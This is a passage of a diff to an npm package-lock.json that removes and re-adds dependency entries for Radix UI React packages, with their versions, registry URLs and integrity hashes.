-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-menu": {
-      "version": "2.1.16",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz",
-      "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.3",
-        "@radix-ui/react-collection": "1.1.7",
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-direction": "1.1.1",
-        "@radix-ui/react-dismissable-layer": "1.1.11",
-        "@radix-ui/react-focus-guards": "1.1.3",
-        "@radix-ui/react-focus-scope": "1.1.7",
-        "@radix-ui/react-id": "1.1.1",
-        "@radix-ui/react-popper": "1.2.8",
-        "@radix-ui/react-portal": "1.1.9",
-        "@radix-ui/react-presence": "1.1.5",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-roving-focus": "1.1.11",
-        "@radix-ui/react-slot": "1.2.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "aria-hidden": "^1.2.4",
-        "react-remove-scroll": "^2.6.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-popper": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz",
-      "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==",
-      "license": "MIT",
-      "dependencies": {
-        "@floating-ui/react-dom": "^2.0.0",
-        "@radix-ui/react-arrow": "1.1.7",
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "@radix-ui/react-use-layout-effect": "1.1.1",
-        "@radix-ui/react-use-rect": "1.1.1",
-        "@radix-ui/react-use-size": "1.1.1",
-        "@radix-ui/rect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-portal": {
-      "version": "1.1.9",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz",
-      "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-presence": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz",
-      "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-primitive": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
-      "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-slot": "1.2.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-roving-focus": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz",
-      "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.3",
-        "@radix-ui/react-collection": "1.1.7",
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-direction": "1.1.1",
-        "@radix-ui/react-id": "1.1.1",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "@radix-ui/react-use-controllable-state": "1.2.2"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-callback-ref": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz",
-      "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-controllable-state": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz",
-      "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-use-effect-event": "0.0.2",
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-escape-keydown": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz",
-      "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-use-callback-ref": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-layout-effect": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz",
-      "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-rect": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz",
-      "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/rect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-use-size": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz",
-      "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/rect": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz",
-      "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==",
-      "license": "MIT"
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/react-remove-scroll": {
-      "version": "2.7.2",
-      "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.2.tgz",
-      "integrity": "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==",
-      "license": "MIT",
-      "dependencies": {
-        "react-remove-scroll-bar": "^2.3.7",
-        "react-style-singleton": "^2.2.3",
-        "tslib": "^2.1.0",
-        "use-callback-ref": "^1.3.3",
-        "use-sidecar": "^1.1.3"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-dialog": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.3.tgz",
-      "integrity": "sha512-ujGvqQNkZ0J7caQyl8XuZRj2/TIrYcOGwqz5TeD1OMcCdfBuEMP0D12ve+8J5F9XuNUth3FAKFWo/wt0E/GJrQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.1",
-        "@radix-ui/react-compose-refs": "1.1.1",
-        "@radix-ui/react-context": "1.1.1",
-        "@radix-ui/react-dismissable-layer": "1.1.2",
-        "@radix-ui/react-focus-guards": "1.1.1",
-        "@radix-ui/react-focus-scope": "1.1.1",
-        "@radix-ui/react-id": "1.1.0",
-        "@radix-ui/react-portal": "1.1.3",
-        "@radix-ui/react-presence": "1.1.2",
-        "@radix-ui/react-primitive": "2.0.1",
-        "@radix-ui/react-slot": "1.1.1",
-        "@radix-ui/react-use-controllable-state": "1.1.0",
-        "aria-hidden": "^1.1.1",
-        "react-remove-scroll": "2.6.0"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-dialog/node_modules/@radix-ui/react-slot": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.1.tgz",
-      "integrity": "sha512-RApLLOcINYJA+dMVbOju7MYv1Mb2EBp2nH4HdDzXTSyaR5optlm6Otrz1euW3HbdOR8UmmFK06TD+A9frYWv+g==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-direction": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz",
-      "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-dismissable-layer": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.2.tgz",
-      "integrity": "sha512-kEHnlhv7wUggvhuJPkyw4qspXLJOdYoAP4dO2c8ngGuXTq1w/HZp1YeVB+NQ2KbH1iEG+pvOCGYSqh9HZOz6hg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.1",
-        "@radix-ui/react-compose-refs": "1.1.1",
-        "@radix-ui/react-primitive": "2.0.1",
-        "@radix-ui/react-use-callback-ref": "1.1.0",
-        "@radix-ui/react-use-escape-keydown": "1.1.0"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-dropdown-menu": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.3.tgz",
-      "integrity": "sha512-eKyAfA9e4HOavzyGJC6kiDIlHMPzAU0zqSqTg+VwS0Okvb9nkTo7L4TugkCUqM3I06ciSpdtYQ73cgB7tyUgVw==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.1",
-        "@radix-ui/react-compose-refs": "1.1.1",
-        "@radix-ui/react-context": "1.1.1",
-        "@radix-ui/react-id": "1.1.0",
-        "@radix-ui/react-menu": "2.1.3",
-        "@radix-ui/react-primitive": "2.0.1",
-        "@radix-ui/react-use-controllable-state": "1.1.0"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-focus-guards": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz",
-      "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==",
+    "node_modules/@radix-ui/react-focus-guards": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz",
+      "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==",
       "license": "MIT",
       "peerDependencies": {
         "@types/react": "*",
@@ -4111,30 +3529,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-progress": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.1.tgz",
-      "integrity": "sha512-6diOawA84f/eMxFHcWut0aE1C2kyE9dOyCTQOMRR2C/qPiXz/X0SaiA/RLbapQaXUCmy0/hLMf9meSccD1N0pA==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-context": "1.1.1",
-        "@radix-ui/react-primitive": "2.0.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@radix-ui/react-radio-group": {
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.2.2.tgz",
@@ -4190,148 +3584,13 @@
       "dependencies": {
         "@radix-ui/primitive": "1.1.1",
         "@radix-ui/react-collection": "1.1.1",
-        "@radix-ui/react-compose-refs": "1.1.1",
-        "@radix-ui/react-context": "1.1.1",
-        "@radix-ui/react-direction": "1.1.0",
-        "@radix-ui/react-id": "1.1.0",
-        "@radix-ui/react-primitive": "2.0.1",
-        "@radix-ui/react-use-callback-ref": "1.1.0",
-        "@radix-ui/react-use-controllable-state": "1.1.0"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-roving-focus/node_modules/@radix-ui/react-direction": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz",
-      "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area": {
-      "version": "1.2.10",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.10.tgz",
-      "integrity": "sha512-tAXIa1g3sM5CGpVT0uIbUx/U3Gs5N8T52IICuCtObaos1S8fzsrPXG5WObkQN3S6NVl6wKgPhAIiBGbWnvc97A==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/number": "1.1.1",
-        "@radix-ui/primitive": "1.1.3",
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-direction": "1.1.1",
-        "@radix-ui/react-presence": "1.1.5",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/number": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.1.tgz",
-      "integrity": "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==",
-      "license": "MIT"
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/primitive": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz",
-      "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==",
-      "license": "MIT"
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-compose-refs": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz",
-      "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-context": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz",
-      "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-presence": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz",
-      "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-primitive": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
-      "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-slot": "1.2.3"
+        "@radix-ui/react-compose-refs": "1.1.1",
+        "@radix-ui/react-context": "1.1.1",
+        "@radix-ui/react-direction": "1.1.0",
+        "@radix-ui/react-id": "1.1.0",
+        "@radix-ui/react-primitive": "2.0.1",
+        "@radix-ui/react-use-callback-ref": "1.1.0",
+        "@radix-ui/react-use-controllable-state": "1.1.0"
       },
       "peerDependencies": {
         "@types/react": "*",
@@ -4348,25 +3607,10 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-use-callback-ref": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz",
-      "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-scroll-area/node_modules/@radix-ui/react-use-layout-effect": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz",
-      "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==",
+    "node_modules/@radix-ui/react-roving-focus/node_modules/@radix-ui/react-direction": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz",
+      "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==",
       "license": "MIT",
       "peerDependencies": {
         "@types/react": "*",
@@ -4640,40 +3884,6 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-toast": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.3.tgz",
-      "integrity": "sha512-oB8irs7CGAml6zWbum7MNySTH/sR7PM1ZQyLV8reO946u73sU83yZUKijrMLNbm4hTOrJY4tE8Oa/XUKrOr2Wg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.1",
-        "@radix-ui/react-collection": "1.1.1",
-        "@radix-ui/react-compose-refs": "1.1.1",
-        "@radix-ui/react-context": "1.1.1",
-        "@radix-ui/react-dismissable-layer": "1.1.2",
-        "@radix-ui/react-portal": "1.1.3",
-        "@radix-ui/react-presence": "1.1.2",
-        "@radix-ui/react-primitive": "2.0.1",
-        "@radix-ui/react-use-callback-ref": "1.1.0",
-        "@radix-ui/react-use-controllable-state": "1.1.0",
-        "@radix-ui/react-use-layout-effect": "1.1.0",
-        "@radix-ui/react-visually-hidden": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
